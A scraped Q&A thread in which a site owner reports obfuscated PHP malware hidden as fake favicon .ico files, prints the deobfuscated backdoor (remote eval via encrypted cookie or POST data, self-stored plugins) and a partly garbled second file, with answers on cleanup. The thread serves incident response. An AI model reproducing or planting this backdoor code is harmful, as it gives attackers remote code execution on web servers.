My site is infected with obfuscated PHP malware - what is it doing + how do I get rid of it?
Asked Answered
U

6

19

I have three websites all hosted on the same webserver. Recently I was working on one of the websites and noticed that, about a month ago, a bunch of files had been changed. Specifically, all instances of index.html had been renamed to index.html.bak.bak, and index.php files have been put in their places. The index.php files are relatively simple; they include a file hidden somewhere in each website's filesystem (seemingly a random folder) that's been obfuscated with JS hex encoding, then echo the original index.html:

<?php
/*2d4f2*/

@include "\x2fm\x6et\x2fs\x74o\x721\x2dw\x631\x2dd\x66w\x31/\x338\x304\x323\x2f4\x365\x380\x39/\x77w\x77.\x77e\x62s\x69t\x65.\x63o\x6d/\x77e\x62/\x63o\x6et\x65n\x74/\x77p\x2di\x6ec\x6cu\x64e\x73/\x6as\x2fs\x77f\x75p\x6co\x61d\x2ff\x61v\x69c\x6fn\x5f2\x391\x337\x32.\x69c\x6f";

/*2d4f2*/


echo file_get_contents('index.html.bak.bak');

The included file here was

/mnt/*snip*/www.website.com/web/content/wp-includes/js/swfupload/favicon_291372.ico

On another domain, it was

/mnt/*snip*/www.website2.com/web/content/wiki/maintenance/hiphop/favicon_249bed.ico

As you could probably guess, these aren't actually favicons - they're just php files with a different extension. Now, I have no clue what these files do (which is why I'm asking here). They were totally obfuscated, but https://malwaredecoder.com/ seems to be able to crack through it. The results can be found here, but I've pasted the de-obfuscated code below:

@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);


if(!defined("PHP_EOL"))
{
    define("PHP_EOL", "\n");
}

if(!defined("DIRECTORY_SEPARATOR"))
{
    define("DIRECTORY_SEPARATOR", "/");
}

if (!defined('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18'))
{
    define('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18', 1);

    $data = NULL;
    $data_key = NULL;

    $GLOBALS['cs_auth'] = '8debdf89-dfb8-4968-8667-04713f279109';
    global $cs_auth;


    if (!function_exists('file_put_contents'))
    {
        function file_put_contents($n, $d, $flag = False)
        {
            $mode = $flag == 8 ? 'a' : 'w';
            $f = @fopen($n, $mode);
            if ($f === False)
            {
                return 0;
            }
            else
            {
                if (is_array($d)) $d = implode($d);
                $bytes_written = fwrite($f, $d);
                fclose($f);
                return $bytes_written;
            }
        }
    }

    if (!function_exists('file_get_contents'))
    {
        function file_get_contents($filename)
        {
            $fhandle = fopen($filename, "r");
            $fcontents = fread($fhandle, filesize($filename));
            fclose($fhandle);

            return $fcontents;
        }
    }
    function cs_get_current_filepath()
    {
        return trim(preg_replace("/\(.*\$/", '', __FILE__));
    }

    function cs_decrypt_phase($data, $key)
    {
        $out_data = "";

        for ($i=0; $i<strlen($data);)
        {
            for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++)
            {
                $out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
            }
        }

        return $out_data;
    }

    function cs_decrypt($data, $key)
    {
        global $cs_auth;

        return cs_decrypt_phase(cs_decrypt_phase($data, $key), $cs_auth);
    }
    function cs_encrypt($data, $key)
    {
        global $cs_auth;

        return cs_decrypt_phase(cs_decrypt_phase($data, $cs_auth), $key);
    }

    function cs_get_plugin_config()
    {
        $self_content = @file_get_contents(cs_get_current_filepath());

        $config_pos = strpos($self_content, md5(cs_get_current_filepath()));
        if ($config_pos !== FALSE)
        {
            $config = substr($self_content, $config_pos + 32);
            $plugins = @unserialize(cs_decrypt(base64_decode($config), md5(cs_get_current_filepath())));
        }
        else
        {
            $plugins = Array();
        }

        return $plugins;
    }

    function cs_set_plugin_config($plugins)
    {
        $config_enc = base64_encode(cs_encrypt(@serialize($plugins), md5(cs_get_current_filepath())));
        $self_content = @file_get_contents(cs_get_current_filepath());

        $config_pos = strpos($self_content, md5(cs_get_current_filepath()));
        if ($config_pos !== FALSE)
        {
            $config_old = substr($self_content, $config_pos + 32);
            $self_content = str_replace($config_old, $config_enc, $self_content);

        }
        else
        {
            $self_content = $self_content . "\n\n//" . md5(cs_get_current_filepath()) . $config_enc;
        }

        @file_put_contents(cs_get_current_filepath(), $self_content);
    }

    function cs_plugin_add($name, $base64_data)
    {
        $plugins = cs_get_plugin_config();

        $plugins[$name] = base64_decode($base64_data);

        cs_set_plugin_config($plugins);
    }

    function cs_plugin_rem($name)
    {
        $plugins = cs_get_plugin_config();

        unset($plugins[$name]);

        cs_set_plugin_config($plugins);
    }

    function cs_plugin_load($name=NULL)
    {
        foreach (cs_get_plugin_config() as $pname=>$pcontent)
        {
            if ($name)
            {
                if (strcmp($name, $pname) == 0)
                {
                    eval($pcontent);
                    break;
                }
            }
            else
            {
                eval($pcontent);
            }
        }
    }

    foreach ($_COOKIE as $key=>$value)
    {
        $data = $value;
        $data_key = $key;
    }

    if (!$data)
    {
        foreach ($_POST as $key=>$value)
        {
            $data = $value;
            $data_key = $key;
        }
    }

    $data = @unserialize(cs_decrypt(base64_decode($data), $data_key));

    if (isset($data['ak']) && $cs_auth==$data['ak'])
    {
        if ($data['a'] == 'i')
        {
            $i = Array(
                'pv' => @phpversion(),
                'sv' => '2.0-1',
                'ak' => $data['ak'],
            );
            echo @serialize($i);
            exit;
        }
        elseif ($data['a'] == 'e')
        {
            eval($data['d']);
        }
        elseif ($data['a'] == 'plugin')
        {
            if($data['sa'] == 'add')
            {
                cs_plugin_add($data['p'], $data['d']);
            }
            elseif($data['sa'] == 'rem')
            {
                cs_plugin_rem($data['p']);
            }
        }
        echo $data['ak'];

    }

    cs_plugin_load();
}

In addition, there is a file called init5.php in one of the website's content folders, which after deobfuscating as much as possible, becomes:

$GLOBALS['893\Gt3$3'] = $_POST;
$GLOBALS['S9]<\<\$'] = $_COOKIE;
@>P>r"$,('$66N6rTNj', NULL);
@>P>r"$,('TNjr$66N6"', 0);
@>P>r"$,('k3'r$'$9#,>NPr,>k$', 0);
@"$,r,>k$rT>k>,(0);
$w6f96424 = NULL;
$s02c4f38 = NULL;
global $y10a790;
function a31f0($w6f96424, $afb8d)
{
    $p98c0e = "";

    for ($r035e7=0; $r035e7<",6T$P($w6f96424);)
    {
        for ($l545=0; $l545<",6T$P($afb8d) && $r035e7<",6T$P($w6f96424); $l545++, $r035e7++)
        {
            $p98c0e .= 9)6(N6`($w6f96424[$r035e7]) ^ N6`($afb8d[$l545]));
        }
    }

    return $p98c0e;
}

function la30956($w6f96424, $afb8d)
{
    global $y10a790;

    return 3\x9<(3\x9<($w6f96424, $y10a790), $afb8d);
}

foreach ($GLOBALS['S9]<\<\$'] as $afb8d=>$ua56c9d)
{
    $w6f96424 = $ua56c9d;
    $s02c4f38 = $afb8d;
}

if (!$w6f96424)
{
    foreach ($GLOBALS['893\Gt3$3'] as $afb8d=>$ua56c9d)
    {
        $w6f96424 = $ua56c9d;
        $s02c4f38 = $afb8d;
    }
}

$w6f96424 = @#P"$6>3T>a$(T3\<]tO(R3"$OIr`$9N`$($w6f96424), $s02c4f38));
if (isset($w6f96424['38']) && $y10a790==$w6f96424['38'])
{
    if ($w6f96424['3'] == '>')
    {
        $r035e7 = Array(
            '@=' => @@)@=$6">NP(),
            '"=' => 'x%<Fx',
        );
        echo @"$6>3T>a$($r035e7);
    }
    elseif ($w6f96424['3'] == '$')
    {
        eval($w6f96424['`']);
    }

}

There are more obfuscated PHP files the more I look, which is kinda scary. There's tons of them. Even Wordpress' index.php files seem to have been infected; the obfuscated @includes have been added to them. In addition, on one of the websites, there's a file titled 'ssh' that seems to be some kind of binary file (maybe the 'ssh' program itself?)

Does anyone know what these are or do? How did they get on my server? How can I get rid of them and make sure they never comes back?

Some other info: my webhost is Laughing Squid; I have no shell access. The server runs Linux, Apache 2.4, and PHP 5.6.29. Thank you!

Unconscionable answered 4/4, 2017 at 15:42 Comment(10)
Do you have a backup of the files from before they were infected? Your best bet is to nuke the server and reset everything. You have no idea what else could also be infected, so no sense in trying to hunt or risk anything left behind, just start over from scratch.Chante
It's probably trying to deliver malware to people who visit your site - shut the site down to limit the damage it can do to others, make sure you have a backup of any important content, then nuke it from orbit and rebuild it from scratch.Stickweed
Change your password to access your host. Delete all the files. Restore from backup. Keep in mind they now have your DB password. If you were sharing that with your host access they have complete control of your account.Fattish
aah, ze classique case of ze CMS getting exploited for ze known vulnerabilities. If you are going to use CMS you should put alot of effort into highly obfuscating its use in the first place. So before redeploying your website, that is something to consider to avoid getting targetted in the future.Outlander
@Outlander How should that be done on a website heavily built upon Wordpress (one of the sites in question?)Unconscionable
Thank you all for the advice, I'm taking action now. One of the three sites is relatively well-trafficked, so this is a huge deal. I'm interested in knowing the ins and outs of what this stuff is doing, but of course damage control is the first and most important step.Unconscionable
Unfortunately there's no backup, but there's not much of importance that can't be redone - just wasted time re-building websites, I guess. Backups will be happening from now on. The only thing is that there are a number of media files we'd like to keep - stuff that's been archived up there for years and are kinda important. Is there any way we can be sure that those aren't infected and archive them safely?Unconscionable
You should change your FTP password. Set it to a long string such as 30 alphanumeric characters. Also make sure your files and folders are not world writable.Wycoff
Did you ever find the real cause of this? Is this from a plugin from the site or the reason is external?Smoky
@Smoky the site was insecure for one reason and another so I wiped the server and did a fresh install of everything + Wordfence to keep it from happening again.Unconscionable
X
9

You can't trust anything on the server at this point.

  • Reinstall the OS

  • Reinstall known good copies of your code with a clean or known-good version of the database.

At this point there's no use in just replacing/deleting "bad" files because the attacker could have done absolutely anything ranging from "nothing" to replacing system level software with hacked versions that will do anything desired. Just for an example, at one point someone wrote malware into a compiler so even if the executable was rebuilt, the maware was still there, also it prevented the debugger from detecting it.

There are various cleaners available, but they rely on knowing/detecting/undoing everything the attacker might have done, which is impossible.

If you had good daily backups, you could do a diff between the "what you have" and "what you had before" and see what has changed, however you would still need to carefully examine or restore your database since many attacks involve changing data, not code.

Xuanxunit answered 15/10, 2018 at 18:10 Comment(1)
Yeah, this is what I ended up doing.Unconscionable
S
2

This is not a hack you need to trash your sites and server over. It is just a php hack. Get rid of all of the malicious php files and code and you'll be good. Here is how I did it on drupal. http://rankinstudio.com/Drupal_ico_index_hack

Sonometer answered 25/5, 2018 at 14:42 Comment(2)
This is super. Just faced this and this came as a savior.Brute
No, this is a serious backdoor. It allowed the attacker to execute any PHP code on the infected server. Just removing the backdoor doesn't make unhappened what else might have been modified on your system via this backdoor. In the worst case a local exploit to gain privileged system access has been uploaded and executed that way.Plymouth
H
1

I had this same malware. There are 10 to 15 files the malware adds or modifies. I used the Quttera WordPress plug-in(free) to find the files. Most of the files can just be deleted (Be careful, Quttera ids more than are actually infected) but some WordPress files were modified and must be replaced.

Harve answered 9/4, 2017 at 1:48 Comment(0)
C
1

Had to write myself one PHP script to scan the whole server tree, listing all directory paths, and one to scan those paths for infections. Can only partly clean, but provides much needed help with the pedestrian cleanup.

NOTE:
It's poorly written, and probably should be removed after use. But it helped me.

A zipped copy is here.
No guarantees; unzip it and take a look what you put on your server, before uploading it!

Update: Now cleans more (not all!). Follow up with hand-cleaning (see below).

Cundiff answered 15/10, 2018 at 18:4 Comment(1)
zx485, thanks for editing. Following up after finally getting my server clean. Use the 'zipped copy', but, the script is not as through as needed, it's an emergency fix. When run, immediately follow this procedure - try not to faint: * FTP a copy of the server to local machine. * Search and list ALL PHP files (good luck with CMS's) * Find and delete all 'nonsense'.php filenames found, from the live server (local search gives location) * On live server, open EACH script-reported 'infected' files and remove infection (e.g with Filezilla >> edit) * remove all 'non-sense' .ico and .jpg.Cundiff
B
0

I had the same problem. It is caused by malicious http post requests. Here is a good article about how to stop it:

The following in a .htaccess file will stop all post requests. https://perishablepress.com/protect-post-requests/

# deny all POST requests
<IfModule mod_rewrite.c>
        RewriteCond %{REQUEST_METHOD} POST
        RewriteRule .* - [F,L]
</IfModule>
Boito answered 19/11, 2017 at 18:8 Comment(1)
That might work but it will also stop most sites from working. How can someone just stop POST not originating from the site's own pages?Norman
F
-3

I haven't found yet, how to prevent these files from appearing on my server, yet i'm able to get rid of them, here's a oneliner crawling down the folders and removing them:

find . -type f -name 'favicon_*.ico' -delete -print
Felicita answered 27/8, 2017 at 21:48 Comment(2)
You should give up the entire server. You can't save it.Homemaker
I know its been a while, but it is nothing to trash your server over. You have malicious php code hanging around in your content somewhere. Run a database search for <?php on all tables and look for it.Sonometer

© 2022 - 2024 — McMap. All rights reserved.